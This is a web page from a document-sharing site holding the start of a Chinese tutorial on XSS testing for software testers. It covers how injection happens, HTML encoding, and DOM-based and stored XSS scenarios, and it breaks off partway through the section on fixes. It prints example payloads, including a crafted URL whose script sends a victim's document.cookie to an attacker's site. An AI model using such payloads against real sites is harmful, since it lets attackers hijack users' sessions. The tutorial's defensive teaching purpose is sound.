- 1、本文档共7页,可阅读全部内容。
- 2、有哪些信誉好的足球投注网站(book118)网站文档一经付费(服务费),不意味着购买了该文档的版权,仅供个人/单位学习、研究之用,不得用于商业用途,未经授权,严禁复制、发行、汇编、翻译或者网络传播等,侵权必究。
- 3、本站所有内容均由合作方或网友上传,本站不对文档的完整性、权威性及其观点立场正确性做任何保证或承诺!文档内容仅供研究参考,付费前请自行鉴别。如您付费,意味着您自己接受本站规则且自行承担风险,本站不退款、不进行额外附加服务;查看《如何避免下载的几个坑》。如果您已付费下载过本站文档,您可以点击 这里二次下载。
- 4、如文档侵犯商业秘密、侵犯著作权、侵犯人身权等,请点击“版权申诉”(推荐),也可以打举报电话:400-050-0827(电话支持时间:9:00-18:30)。
- 5、该文档为VIP文档,如果想要下载,成为VIP会员后,下载免费。
- 6、成为VIP后,下载本文档将扣除1次下载权益。下载后,不支持退款、换文档。如有疑问请联系我们。
- 7、成为VIP后,您将拥有八大权益,权益包括:VIP文档下载权益、阅读免打扰、文档格式转换、高级专利检索、专属身份标志、高级客服、多端互通、版权登记。
- 8、VIP文档为合作方或网友上传,每下载1次, 网站将根据用户上传文档的质量评分、类型等,对文档贡献者给予高额补贴、流量扶持。如果你也想贡献VIP文档。上传文档
查看更多
Web安全测试之XSS.doc
XSS 全称(Cross Site Scripting) 跨站脚本攻击, 是Web程序中最常见的漏洞。指攻击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时,脚本就会在用户的浏览器上执行,从而达到攻击者的目的.? 比如获取用户的Cookie,导航到恶意网站,携带木马等。
作为测试人员,需要了解XSS的原理,攻击场景,如何修复。 才能有效的防止XSS的发生。
?
阅读目录
XSS 是如何发生的
HTML Encode
XSS 攻击场景
XSS漏洞的修复
如何测试XSS漏洞
HTML Encode 和URL Encode的区别
浏览器中的XSS过滤器
ASP.NET中的XSS安全机制
XSS 是如何发生的呢
假如有下面一个textbox
input type=text name=address1 value=value1from
value1from是来自用户的输入,如果用户不是输入value1from,而是输入?/scriptalert(document.cookie)/script!-?那么就会变成
input type=text name=address1 value=/scriptalert(document.cookie)/script!-
嵌入的JavaScript代码将会被执行
?
或者用户输入的是??onfocus=alert(document.cookie)????? 那么就会变成?
input type=text name=address1 value= onfocus=alert(document.cookie)
?事件被触发的时候嵌入的JavaScript代码将会被执行
?攻击的威力,取决于用户输入了什么样的脚本
?
当然用户提交的数据还可以通过QueryString(放在URL中)和Cookie发送给服务器. 例如下图
?
HTML Encode
XSS之所以会发生, 是因为用户输入的数据变成了代码。 所以我们需要对用户输入的数据进行HTML Encode处理。 将其中的中括号, “单引号”,“引号” 之类的特殊字符进行编码。
在C#中已经提供了现成的方法,只要调用HttpUtility.HtmlEncode(string scritp) 就可以了。? (需要引用System.Web程序集)
Fiddler中也提供了很方便的工具, 点击Toolbar上的TextWizard 按钮
?
XSS 攻击场景
1. Dom-Based XSS 漏洞 攻击过程如下
Tom 发现了V中的一个页面有XSS漏洞,
例如: /search.asp?term=apple
服务器中Search.asp 页面的代码大概如下
html title/title body Results for %Reequest.QueryString(term)% ... /body/html
Tom 先建立一个网站,? 用来接收“偷”来的信息。然后Tom 构造一个恶意的url(如下), 通过某种方式(邮件,QQ)发给Monica
/search.asp?term=scriptwindow.open(?cookie=+document.cookie)/script
Monica点击了这个URL, 嵌入在URL中的恶意Javascript代码就会在Monica的浏览器中执行. 那么Monica在网站的cookie, 就会被发送到badguy网站中。这样Monica在 的信息就被Tom盗了.
?
2. Stored XSS(存储式XSS漏洞), 该类型是应用广泛而且有可能影响大Web服务器自身安全的漏洞,攻击者将攻击脚本上传到Web服务器上,使得所有访问该页面的用户都面临信息泄露的可能。 攻击过程如下Alex发现了网站A上有一个XSS 漏洞,该漏洞允许将攻击代码保存在数据库中,
Alex发布了一篇文章,文章中嵌入了恶意JavaScript代码。
其他人如Monica访问这片文章的时候,嵌入在文章中的恶意Javascript代码就会在Monica的浏览器中执行,其会话cookie或者其他信息将被Alex盗走。
?
Dom-Based XSS漏洞威胁用户个体,而存储式XSS漏洞所威胁的对象将是大量的用户.
?
XSS 漏洞修复
原则: 不相信客户输入的数据注意:? 攻击代码不一定在script/script中
将重要的cookie标记为http only, ? 这样的话Javascript 中的document.cookie语句就不能获取到cookie了.
只允许用户输入我们期望的数据。 例如: 年龄的textbox中,只允许用户输入数字。 而数字之外的字符都过滤掉。
对数据进行Ht
您可能关注的文档
- httpreadpudncomdownloads13sourcecodeasm54602数据结构实习报告doc.doc
- Http远程连接数据库技术简介.doc
- HY702 微机继电保护测试仪介绍.doc
- i779可删程序列表.doc
- I8160精简系统程序列表,精简到只有40个.doc
- Iawgvk法语专业培养方案.doc
- Idfxha实用日语写作第2章(日语版).doc
- IDS_snort安装配置-推荐参考.doc
- IDS_snort安装配置-推荐参考1.doc
- ifixVB连接数据库,数据库数据处理附带代码参考.doc
- 航空发动机空气油泵分离器解决方案研究润滑系统johan steimes1 gt2013-94483.pdf
- 文稿法语高水平1french paper 1 hl.pdf
- 教程自检selfcheck参考.pdf
- sigma-pz共7 aldrich安全数据表8自由基.pdf
- 云附件打包学案.pdf
- 组织结构类型readingnotes structure sm阅读笔记.pdf
- 5b2013春季招新海外志愿者项目人宣传案例3unnchefei.pdf
- 资产负债表现金流量表长期财富理论data fengsy.pdf
- backup exercise-partners course后备练习伙伴课程.pdf
- 用于透皮给药系统尖头可分离微针装置.pdf
最近下载
- 田径裁判法教案.doc
- NB-T 11258-2023井工煤矿机电管理通用要求.pdf
- 江苏开放大学2024年秋形势与政策《060112》作业一二三四参考答案.pdf VIP
- 耐张线夹X光射线探伤技术规范书.doc
- AC311-67-2017-07关于AC311型机总距杆低距锁片检查和调整的技术.doc VIP
- TAHSX 2-2024 过瘤胃(包被)蛋氨酸.docx
- 2023北京海淀六年级下学期期末数学试卷及答案.pdf VIP
- 英汉对比研究-替换与重复.ppt VIP
- 河南省南阳市西峡县2023-2024学年七年级上学期期末语文试题(解析版).docx VIP
- 零售学第五版肖怡课后答案.doc
文档评论(0)